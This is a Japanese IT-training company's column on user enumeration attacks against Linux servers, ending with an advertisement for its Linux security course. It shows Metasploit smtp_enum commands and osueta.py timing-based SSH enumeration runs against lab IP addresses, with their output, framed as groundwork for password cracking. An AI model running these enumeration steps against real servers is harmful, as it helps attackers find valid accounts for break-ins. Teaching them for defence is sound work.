CTC 教育サービス
[IT研修]注目キーワード Python UiPath(RPA) 最新技術動向 Microsoft Azure Docker Kubernetes
今回のInst. Tech Viewは、ユーザ列挙攻撃(User Enumeration)についての話題です。
攻撃者がLinuxサーバを乗っ取ろうとする際に行う代表的な攻撃手法の1つに「パスワードクラッキング」があります。「パスワードクラッキング」はパスワードを何度も試してLinuxサーバにログインしようとする攻撃手法です。
代表的なパスワードクラッキングツールにHydraやmedusaといったツールがありますが、それらはユーザ名を固定して様々なパスワードを送ってログインを試みます。ですので、標的のLinuxサーバに登録されているユーザを把握していれば、未登録のユーザで何度もパスワードを試すような無駄な作業を行うことなく効率よくパスワードクラッキングを行うことができます。
今回のコラムでは、攻撃者が標的のLinuxサーバに登録されているユーザを調べる手法(ユーザ列挙(User Enumeration))について紹介します。
SMTP User EnumerationはSMTPサーバにVRFYコマンドやEXPNコマンドとユーザ名を送り、その応答からユーザ名が登録されているか確認する手法です。
SMTP User Enumerationを行う方法はいくつかありますが、代表的な侵入試験ツールの1つのMetasploit(http://www.metasploit.com/)を使用した場合の実行例を紹介します。
======================================================================== (Metasploit Console(Msfconsole)を起動) msf > use auxiliary/scanner/smtp/smtp_enum msf auxiliary(smtp_enum) > set rhosts 192.168.1.2(標的のLinuxサーバのIPアドレス) msf auxiliary(smtp_enum) > run [*] 192.168.1.2:25 Banner: 220 cent01. ESMTP Sendmail 8.13.8/8.13.8; Thu, 15 Dec 2014 13:10:50 +0900 [+] 192.168.1.2:25 Users found: adm, avahi, avahi-autoipd, bin, daemon, fax, ftp, games, gdm, gopher, haldaemon, halt, lp, mail, news, nobody, operator, postgres, postmaster, sshd, sync, user01, user02, user03, uucp, webmaster, www (標的のLinuxサーバに登録されているユーザ名) ========================================================================
SSHサーバにユーザ名と数万文字程度のパスワードを送り、それに対しての応答速度を見てユーザが登録されているか確認する手法です。応答するまでに時間が掛かる場合ユーザは登録されており、すぐに応答が返ってくる場合はユーザが登録されていないと判断します。
いくつかOpenSSH User Enumerationの検査ツールが公開されていますが、その中の一つのosueta.py(https://github.com/c0r3dump3d/osueta)の実行例を紹介します。
======================================================================== ・実行例1:ユーザが登録されている場合 # time -p ./osueta.py -H 192.168.1.1 (標的のIPアドレス) -p 22 -d 15 -U root(ユーザ名) [+] Connecting root@192.168.1.1:22 ... [-] Authentication failed. [+] User: root exists (rootユーザは存在する) real 27.91 (osueta.pyが終了するまでに掛かった時間(秒)) user 0.38 sys 0.13 ・実行例2:ユーザが登録されていない場合 # time -p ./osueta.py -H 192.168.1.1(Kali LinuxのIPアドレス) -p 22 -d 15 -U user111 [+] Connecting USER111@192.168.1.1:22 ... [-] Authentication failed. [-] No user(s) found. (user111は存在しない) real 6.35 (osueta.pyが終了するまでに掛かった時間(秒)) user 0.32 sys 0.05 ========================================================================
どちらのユーザ列挙も簡単なコマンドを実行するだけで標的のLinuxサーバに登録されているユーザを確認できてしまい、非常に容易に行うことができると感じていただけると思います。
代表的なユーザ列挙の手法は以上です。
ユーザ列挙を行われた場合でも攻撃者に登録されているユーザを把握されないようにするための効果的な設定はいくつかありますが、詳細は弊社で開催の「LinuxOSセキュリティ」で紹介しております。
「LinuxOSセキュリティ」ではユーザ列挙やパスワードクラッキングをはじめとしたLinuxサーバへの様々な攻撃手法を実際に試し、それを踏まえた上での有効な対策を紹介しております。セキュリティ関連の知識を向上させたい方のご受講を心よりお待ち申しております。
■■■ コースの詳細情報 ■■■ ※価格はメルマガ配信時点の価格です。
LI39:Linux OSセキュリティ (CTCTオリジナルコース)
期間:3日間
価格:\114,000(税抜)
[IT研修]注目キーワード Python UiPath(RPA) 最新技術動向 Microsoft Azure Docker Kubernetes